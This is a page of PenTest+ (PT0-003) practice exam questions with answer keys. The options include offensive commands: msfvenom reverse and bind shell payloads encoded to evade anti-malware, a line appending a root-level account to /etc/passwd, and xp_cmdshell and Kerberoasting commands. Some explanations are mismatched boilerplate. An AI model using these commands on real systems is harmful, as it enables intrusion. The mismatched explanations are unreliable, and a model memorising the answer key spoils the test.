πŸ”

PT0-003 β€” questions

Page 11 of 17 Β· 334 total questions.

Topic 1 Β· Question 206

A penetration tester is investigating a buffer overflow on the myfile binary. The tester wants to send a payload to help identify the exact offset to inject the memory address to take control of the buffer. Which of the following would allow the penetration tester to quickly identify the offset?

  • A./myfile < $(printf β€˜A%.0s’ {1.1000}
  • Becho β€˜A’ |head -n 1000 |tr -d β€˜\n’ | ./myfile
  • Cpython -c β€˜print(β€œA”*1000)’ > test.txt; cat test.txt >./myfile
  • D./pattern_create.rb 1000 > test.txt; ./myfile < test.txt (correct answer)
Reveal answer & explanation
Correct answer: D

The correct answer is D. Option D: ./pattern_create.rb 1000 > test.txt; ./myfile < test.txt This option decouples the components so they scale independently and absorb load spikes.

Topic 1 Β· Question 207

A penetration tester is attempting to exfiltrate sensitive data from a client environment without alerting the client’s blue team. Which of the following exfiltration methods most likely remain undetected?

  • ACloud storage
  • BEmail
  • CDomain Name System (correct answer)
  • DTest storage sites
Reveal answer & explanation
Correct answer: C

The correct answer is C. Option C: Domain Name System

Topic 1 Β· Question 208

A penetration tester reviews the following output: Which of the following most likely describes the function of this system?

Exhibit 1 for question 208
  • AEnterprise mail server
  • BHoneypot (correct answer)
  • CStand-alone web server
  • DDomain Controller
Reveal answer & explanation
Correct answer: B

The correct answer is B. Option B: Honeypot

Topic 1 Β· Question 209

During a penetration test for a client that has a diverse infrastructure, the tester scans the network using Nmap and observes the following output: Which of the following would most likely be the target device?

Exhibit 1 for question 209
  • ASwitch
  • BSCADA
  • CIoT (correct answer)
  • DRouter
Reveal answer & explanation
Correct answer: C

The correct answer is C. Option C: IoT

Topic 1 Β· Question 210

A tester compromises a shared host that is manually audited every week due to the absence of a SIEM. Which of the following is the best way to reduce the chances of being detected?

  • AModify files located in the /var/log directory.
  • BUse the clear command to remove recent terminal activity.
  • CPerform commands under one of the developer accounts. (correct answer)
  • DDisable all logging services on the host.
Reveal answer & explanation
Correct answer: C

The correct answer is C. Option C: Perform commands under one of the developer accounts.

Topic 1 Β· Question 211

A penetration tester wants to verify whether passwords from a leaked password list can be used to access an SSH server as a legitimate user. Which of the following is the most appropriate tool for this task?

  • ABloodHound
  • BResponder
  • CBurp Suite
  • DHydra (correct answer)
Reveal answer & explanation
Correct answer: D

The correct answer is D. Option D: Hydra

Topic 1 Β· Question 212

A penetration tester discovers a deprecated directory in which files are accessible to anyone. Which of the following would most likely assist the penetration tester in finding sensitive information without raising suspicion?

  • AEnumerating cached pages available on web pages (correct answer)
  • BLooking for externally available services
  • CScanning for exposed ports associated with the domain
  • DSearching for vulnerabilities and potential exploits
Reveal answer & explanation
Correct answer: A

The correct answer is A. Option A: Enumerating cached pages available on web pages

Topic 1 Β· Question 213

A penetration tester gains initial access to a Windows workstation on a client’s network. The tester wants to determine the next target but does not want to install software on the workstation. Which of the following is the best tool to list potential targets?

  • Ammc.exe
  • BNetstat (correct answer)
  • CMimikatz
  • Dexplorer.exe
  • ECME
Reveal answer & explanation
Correct answer: B

The correct answer is B. Option B: Netstat

Topic 1 Β· Question 214

A penetration tester completes an authenticated vulnerability scan of a host and receives the following results: Which of the following is most likely to cause stability when a session is created on a target machine?

Exhibit 1 for question 214
  • ARunning Responder with default settings and using Impacket
  • BRunning Nmap with safe scripts enabled and targeting RDP
  • CRunning Metasploit utilizing the EternalBlue module (correct answer)
  • DRunning Hydra on the local user at one attempt per second
Reveal answer & explanation
Correct answer: C

The correct answer is C. Option C: Running Metasploit utilizing the EternalBlue module

Topic 1 Β· Question 215

A penetration tester uses the Intruder tool from the Burp Suite Community Edition while assessing a web application. The tester notices the test is taking too long to complete. Which of the following tools can the tester use to accelerate the test and achieve similar results?

  • ATruffleHog
  • BPostman
  • CWfuzz (correct answer)
  • DWPScan
Reveal answer & explanation
Correct answer: C

The correct answer is C. Option C: Wfuzz

Topic 1 Β· Question 216

A penetration tester is ready to add shellcode for a specific remote executable exploit. The tester is trying to prevent the payload from being blocked by anti-malware that is running on the target. Which of the following commands should the tester use to obtain shell access?

  • Amsfvenom --arch x86-64 --platform windows --encoder x86-64/shikata_ga_nai --payload windows/bind_tcp LPORT=443 (correct answer)
  • Bmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.100 LPORT=8000
  • Cmsfvenom --arch x86-64 --platform windows --payload windows/shell_reverse_tcp LHOST-10.10.10.100 LPORT-4444 EXITFUNC=none
  • Dnet user add /administrator | hexdump > payload
Reveal answer & explanation
Correct answer: A

The correct answer is A. Option A: msfvenom --arch x86-64 --platform windows --encoder x86-64/shikata_ga_nai --payload windows/bind_tcp LPORT=443

Topic 1 Β· Question 217

A Chief Information Security Officer wants to automate adversarial activities from penetration tests that are relevant to the organization. Which of the following should a penetration tester do first to accomplish this task?

  • ADeploy a command-and-control server with custom profiles to facilitate execution.
  • BUse Python 3 with added testing libraries and script the relevant action to test.
  • CUtilize the PowerShell PowerView tool with custom scripting additions based on test results.
  • DImplement Atomic Red Team to chain critical TTPs and perform the test. (correct answer)
Reveal answer & explanation
Correct answer: D

The correct answer is D. Option D: Implement Atomic Red Team to chain critical TTPs and perform the test. This option keeps traffic private / properly secured as required.

Topic 1 Β· Question 219

A penetration tester identifies an exposed corporate directory containing first and last names and phone numbers for employees. Which of the following attack techniques would be the most effective to pursue if the penetration tester wants to compromise user accounts?

  • ASmishing (correct answer)
  • BImpersonation
  • CTailgating
  • DWhaling
Reveal answer & explanation
Correct answer: A

The correct answer is A. Option A: Smishing

Topic 1 Β· Question 220

During an assessment, a penetration tester obtains access to a Microsoft SQL server using sqlmap and runs the following command: SQL> xp_cmdshell whoami /all - Which of the following is the tester trying to do?

  • AList database tables
  • BShow logged-in database users
  • CEnumerate privileges (correct answer)
  • DDisplay available SQL commands
Reveal answer & explanation
Correct answer: C

The correct answer is C. Option C: Enumerate privileges

Topic 1 Β· Question 221

During a security assessment of a network device, a penetration tester performs the following: Which of the following actions should the tester take to correct the vulnerability scan attempt?

Exhibit 1 for question 221
  • AEnable promiscuous mode
  • BModify -Tuning to 1
  • CVerify the ports used (correct answer)
  • DRemove the -evasion flag
Reveal answer & explanation
Correct answer: C

The correct answer is C. Option C: Verify the ports used This option keeps traffic private / properly secured as required.

Topic 1 Β· Question 222

During an assessment, a penetration tester runs the following command from a Linux machine: GetUsersSPNs.py -dc-ip 172.16.1.1 DOMAIN.LOCAL/aholliday -request Which of the following is the penetration tester trying to do?

  • ACrack the user password for aholliday.
  • BDownload all TGS tickets for offline processing. (correct answer)
  • CPerform a pass-the-hash attack using the hash for aholliday.
  • DPerform password spraying.
Reveal answer & explanation
Correct answer: B

The correct answer is B. Option B: Download all TGS tickets for offline processing.

Topic 1 Β· Question 223

A penetration tester gains low-privilege shell access to a host and discovers a world-writable script that is run regularly as root. The tester runs the following command: openssl passwd password $l$OjxLvZ85$Fdr51vn/Z4zXWsQR/Xrj . The tester then adds the following line to the world-writable script echo 'root2:$l$OjxLvZ85$Fdr51vn/Z4zXWsQR/Xrj1001:1001:,,,: /root:/bin/bash" >> /etc/passwd Which of the following should the penetration tester do to enable this exploit to work correctly?

  • AUse only a single redirect to /etc/password.
  • BGenerate the password using md5sum.
  • CLog in to the host using SSH
  • DChange the 1001 entries to 0. (correct answer)
Reveal answer & explanation
Correct answer: D

The correct answer is D. Option D: Change the 1001 entries to 0.

Topic 1 Β· Question 224

A penetration tester successfully phishes a user and compromises a domain-joined endpoint. The tester enumerates the domain controller and discovers that Group Policy Preferences are in use. The tester also finds that the version of the domain controllers is Windows Server 2012. The tester wants to use the fastest possible method of pivoting successfully to multiple production servers joined to the domain. Which of the following is the best way to achieve this goal?

  • AScan the domain controller and locate an RCE using a Metasploit module with a reverse shell
  • BRun Hydra to password spray any dumped credentials from the initial host across subnets
  • CUse BloodHound to look for escalation paths against the AD environment
  • DFind the SYSVOL share for hashes with findstr /i and decrypt using the published key (correct answer)
Reveal answer & explanation
Correct answer: D

The correct answer is D. Option D: Find the SYSVOL share for hashes with findstr /i and decrypt using the published key

Topic 1 Β· Question 225

A penetration tester gains access to the target network and observes a running SSH server. Which of the following techniques should the penetration tester use to obtain the version of SSH running on the target server?

  • ANetwork sniffing
  • BIP scanning
  • CBanner grabbing (correct answer)
  • DDNS enumeration
Reveal answer & explanation
Correct answer: C

The correct answer is C. Option C: Banner grabbing

Topic 1 Β· Question 226

A company that uses an insecure corporate wireless network is concerned about security. Which of the following is the most likely tool a penetration tester could use to obtain initial access?

  • AResponder (correct answer)
  • BMetasploit
  • CNetcat
  • DNmap
Reveal answer & explanation
Correct answer: A

The correct answer is A. Option A: Responder This option keeps traffic private / properly secured as required.

Showing questions 201–220 of 334 Β· Page 11 of 17